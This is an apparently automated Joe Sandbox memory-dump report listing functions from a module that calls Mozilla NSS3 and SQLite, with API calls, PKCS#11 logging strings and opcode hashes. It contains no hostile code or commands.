Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 913ba793c25b92f11224f37ab560708a2f3452da8a2ce1b2a12aa0aadb7e2f68
Instruction ID: 8cea068cfdbc06d3dc24f56db6dbb8a351372a5958a5fdf83769cb46cca49ade
Opcode Fuzzy Hash: 913ba793c25b92f11224f37ab560708a2f3452da8a2ce1b2a12aa0aadb7e2f68
Instruction Fuzzy Hash: 7E5135B5D01601DFEB109FA5EC41A9A76B4FF0531CF34563AEC068AB12FB32D516CA92

Function 6CE4ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE4ACE2
malloc.MOZGLUE(00000001), ref: 6CE4ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE4AD02
TlsGetValue.KERNEL32 ref: 6CE4AD3C
calloc.MOZGLUE(00000001,?), ref: 6CE4AD8C
PR_Unlock.NSS3 ref: 6CE4ADC0
free.MOZGLUE(00000000), ref: 6CE4AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE4AE58
free.MOZGLUE(00000000), ref: 6CE4AE69
free.MOZGLUE(?), ref: 6CE4AE78
PR_Unlock.NSS3 ref: 6CE4AE8C
free.MOZGLUE(?), ref: 6CE4AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE4AEC7

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 6c253a52ca09d483b3c5d484564bfe64649ab4a2eedc5e3a0ff692ec092fe3f7
Instruction ID: 17c015584c4362e378ad82e2521f92865df01d467106ede577c4988e95b5cca1
Opcode Fuzzy Hash: 6c253a52ca09d483b3c5d484564bfe64649ab4a2eedc5e3a0ff692ec092fe3f7
Instruction Fuzzy Hash: AE51D2B5E50116CBDB40DF94EC80BAEB774AB0635CF248035D814A3B00D331A955CBD6

Function 6CE8ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CE8ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE8AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE8AE29

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE8AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CE8AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE8AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CE8AEA0

Strings

(CK_INVALID_HANDLE), xrefs: 6CE8AE1F, 6CE8AE80
hSession = 0x%x, xrefs: 6CE8AE01, 6CE8AE11
C_MessageSignInit, xrefs: 6CE8ADE1
hKey = 0x%x, xrefs: 6CE8AE62, 6CE8AE72

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: cb5e8960e2790ea2f51c24ce6364e6b2102ae90d5abcc023479d0fe416d462e9
Instruction ID: 994ed6a6f42b30f7905dff42c116c77549110a27f5702138807cd5e46bdf6f60
Opcode Fuzzy Hash: cb5e8960e2790ea2f51c24ce6364e6b2102ae90d5abcc023479d0fe416d462e9
Instruction Fuzzy Hash: AD310871A52104AFCB00DF14EDC8FAA3775AB4630DF154829E90D6BB91DB319848CBB5

Function 6CE89EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6CE89F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE89F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE89F49

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE89F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CE89F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE89FAA
PR_LogPrint.NSS3(?,00000000), ref: 6CE89FC0

Strings

C_MessageEncryptInit, xrefs: 6CE89F01
(CK_INVALID_HANDLE), xrefs: 6CE89F3F, 6CE89FA0
hSession = 0x%x, xrefs: 6CE89F21, 6CE89F31
hKey = 0x%x, xrefs: 6CE89F82, 6CE89F92

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: 6818ac320c44af68a80f6a3bf36902f9e490cc72207004aa0c170896188ad493
Instruction ID: eea947c051fd7f7a8518cd36bb3a6c584008e37704d37620cfa1dcde1e070892
Opcode Fuzzy Hash: 6818ac320c44af68a80f6a3bf36902f9e490cc72207004aa0c170896188ad493
Instruction Fuzzy Hash: 67312671E02204AFCB04DF54EC89BBE3776AB4630CF194429E90D6BB81DB359808CBA5

Function 6CF24C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CF24CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF24CFD
sqlite3_value_text16.NSS3(?), ref: 6CF24D44

Strings

invalid, xrefs: 6CF24CF1
no more rows available, xrefs: 6CF24D2E
another row available, xrefs: 6CF24D20
unknown error, xrefs: 6CF24D56
bad parameter or other API misuse, xrefs: 6CF24D05
API call with %s database connection pointer, xrefs: 6CF24CF6
out of memory, xrefs: 6CF24C78, 6CF24C9E
abort due to ROLLBACK, xrefs: 6CF24D27, 6CF24D33

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 2748e22263c01ee18d1f66f294609716cef58cf67c9e188665b24618a457276c
Instruction ID: 26b5fdec3cb22a14424f2cd9cc583d1b0c56d36a3982b3c765d5482606909821
Opcode Fuzzy Hash: 2748e22263c01ee18d1f66f294609716cef58cf67c9e188665b24618a457276c
Instruction Fuzzy Hash: 4931AE73E89811A7D7094AACA8117E6BF71BB82318F550129D8244BF55C7EDAC2187E2

Function 6CE82DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CE82DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE82E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE82E33

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE82E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CE82E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CE82E81

Strings

(CK_INVALID_HANDLE), xrefs: 6CE82E2C
hSession = 0x%x, xrefs: 6CE82E0E, 6CE82E1E
C_InitPIN, xrefs: 6CE82DF1
ulPinLen = %d, xrefs: 6CE82E7C
pPin = 0x%p, xrefs: 6CE82E63

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 6bb646ee3744de1a209fd92def8e3b6b0203879c53b7a64cfcccdfbcccfdb1eb
Instruction ID: 34b17eb80cc2bd02e918907f18cc1724d6c342359e51457909f0c22aeb1b75e1
Opcode Fuzzy Hash: 6bb646ee3744de1a209fd92def8e3b6b0203879c53b7a64cfcccdfbcccfdb1eb
Instruction Fuzzy Hash: 7D313871E12104AFDB10DB55DD8CB4A3B75EB4631CF254425E80DABB51DB319D08CBB9

Function 6CE86EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CE86F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE86F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE86F53

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE86F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CE86F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CE86FA1

Strings

pPart = 0x%p, xrefs: 6CE86F83
(CK_INVALID_HANDLE), xrefs: 6CE86F4C
hSession = 0x%x, xrefs: 6CE86F2E, 6CE86F3E
ulPartLen = %d, xrefs: 6CE86F9C
C_DigestUpdate, xrefs: 6CE86F11

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 46ed38e41f8cd321b7332e6351a35713bf46d2ade4e75c01a0f5166d13d7002b
Instruction ID: e4ed862c1a3376c31d7401b558054cee74b1c29953d3cf124e38865a13e0a23a
Opcode Fuzzy Hash: 46ed38e41f8cd321b7332e6351a35713bf46d2ade4e75c01a0f5166d13d7002b
Instruction Fuzzy Hash: 7C310770A22104AFDB40DF15DD89B4A37B5EB4231DF194429E80CABB51DB31DD08CBA5

Function 6CE87E00 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6CE87E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE87E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE87E63

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE87E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CE87E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CE87EB1

Strings

pPart = 0x%p, xrefs: 6CE87E93
(CK_INVALID_HANDLE), xrefs: 6CE87E5C
hSession = 0x%x, xrefs: 6CE87E3E, 6CE87E4E
ulPartLen = %d, xrefs: 6CE87EAC
C_VerifyUpdate, xrefs: 6CE87E21

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate
API String ID: 1003633598-2508624608
Opcode ID: b22213fdbb68aa80f32a000a5da96252a73fc02463a99ce70b5ad32af76789b8
Instruction ID: 992bc899aed2e02f2673bf58bc7e177f45fe5bb82d0f6402405ba7e8fb3e4d87
Opcode Fuzzy Hash: b22213fdbb68aa80f32a000a5da96252a73fc02463a99ce70b5ad32af76789b8
Instruction Fuzzy Hash: 4131E474F12104AFDB509B15DD88F8A3BB1AB4231CF194429F80DABB51DB319D08CBB9

Function 6CE87F30 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6CE87F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE87F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE87F93

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE87FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CE87FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CE87FE1

Strings

ulSignatureLen = %d, xrefs: 6CE87FDC
C_VerifyFinal, xrefs: 6CE87F51
(CK_INVALID_HANDLE), xrefs: 6CE87F8C
hSession = 0x%x, xrefs: 6CE87F6E, 6CE87F7E
pSignature = 0x%p, xrefs: 6CE87FC3

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal
API String ID: 1003633598-3315179127
Opcode ID: 5a4e7e9cb0c1756321114e544eacbb2759bdfd5b5cd33985ccca1cba7239bb58
Instruction ID: a4c20ff25a6f99577a0f27879b35e5876928e39dfa002b491820e31b05bd9c30
Opcode Fuzzy Hash: 5a4e7e9cb0c1756321114e544eacbb2759bdfd5b5cd33985ccca1cba7239bb58
Instruction Fuzzy Hash: 0C314631B02004AFDB10DB55DD89F8A3BB1AB4235CF294426F80CABB11DB319C48CBA9

Function 6CF22D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CF22D9F

Part of subcall function 6CDDCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE3F9C9,?,6CE3F4DA,6CE3F9C9,?,?,6CE0369A), ref: 6CDDCA7A
Part of subcall function 6CDDCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDDCB26

sqlite3_exec.NSS3(?,?,6CF22F70,?,?), ref: 6CF22DF9
sqlite3_free.NSS3(00000000), ref: 6CF22E2C
sqlite3_free.NSS3(?), ref: 6CF22E3A
sqlite3_free.NSS3(?), ref: 6CF22E52
sqlite3_mprintf.NSS3(6CF8AAF9,?), ref: 6CF22E62
sqlite3_free.NSS3(?), ref: 6CF22E70
sqlite3_free.NSS3(?), ref: 6CF22E89
sqlite3_free.NSS3(?), ref: 6CF22EBB
sqlite3_free.NSS3(?), ref: 6CF22ECB
sqlite3_free.NSS3(00000000), ref: 6CF22F3E
sqlite3_free.NSS3(?), ref: 6CF22F4C

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: de9573c3637955455417eb8e029bcf9432b50dbdb503c9f02cacbea945ff8c54
Instruction ID: b7dc7d97d63edaa57fbfda160d57ed3cd8874b70cb801c66e92d6665052a7fb4
Opcode Fuzzy Hash: de9573c3637955455417eb8e029bcf9432b50dbdb503c9f02cacbea945ff8c54
Instruction Fuzzy Hash: B4618FB5E116058BEB10CFE8D894BDEB7B1EF48358F154028DC15AB711EB3AE845CBA1

Function 6CE67C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFB2120,Function_00097E60,00000000,?,?,?,?,6CEE067D,6CEE1C60,00000000), ref: 6CE67C81

Part of subcall function 6CDD4C70: TlsGetValue.KERNEL32(?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4C97
Part of subcall function 6CDD4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CB0
Part of subcall function 6CDD4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CC9

TlsGetValue.KERNEL32 ref: 6CE67CA0
EnterCriticalSection.KERNEL32(?), ref: 6CE67CB4
PR_Unlock.NSS3 ref: 6CE67CCF

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

TlsGetValue.KERNEL32 ref: 6CE67D04
EnterCriticalSection.KERNEL32(?), ref: 6CE67D1B
realloc.MOZGLUE(-00000050), ref: 6CE67D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE67DF4
PR_Unlock.NSS3 ref: 6CE67E0E

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: a5c0ef7a6038159591c78382beeec4337d2159eb3e6826578985c3ebe4b49179
Instruction ID: 4f062a73b3ae87c48307a72e1717284b7e2a0c80fac2673c87a0d6a7be45a892
Opcode Fuzzy Hash: a5c0ef7a6038159591c78382beeec4337d2159eb3e6826578985c3ebe4b49179
Instruction Fuzzy Hash: 02512575EB4100ABDB40AF2ADC84B6577B5EB0331CF364529ED1887B22EB329855CB91

Function 6CDD4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CB0
PR_Unlock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4D97
PR_Lock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4DBA
PR_WaitCondVar.NSS3 ref: 6CDD4DD4
PR_Unlock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4DEF

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: bae2d7111ae86af2cebbd90dcf86dffce32dea20c94f2fb93fa20c7e596242c9
Instruction ID: 6570af67faec972f053b063e70770f7a5dd04eb09965e7448286954382670e85
Opcode Fuzzy Hash: bae2d7111ae86af2cebbd90dcf86dffce32dea20c94f2fb93fa20c7e596242c9
Instruction Fuzzy Hash: 75417DB5E14715CFCB40AF7DE088659BBF4BF05314F168669D8989BB20EB30E884CB95

Function 6CF67CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF67CE0

Part of subcall function 6CF19BF0: TlsGetValue.KERNEL32(?,?,?,6CF60A75), ref: 6CF19C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF67D36
PR_Realloc.NSS3(?,00000080), ref: 6CF67D6D
PR_GetCurrentThread.NSS3 ref: 6CF67D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CF67DC2
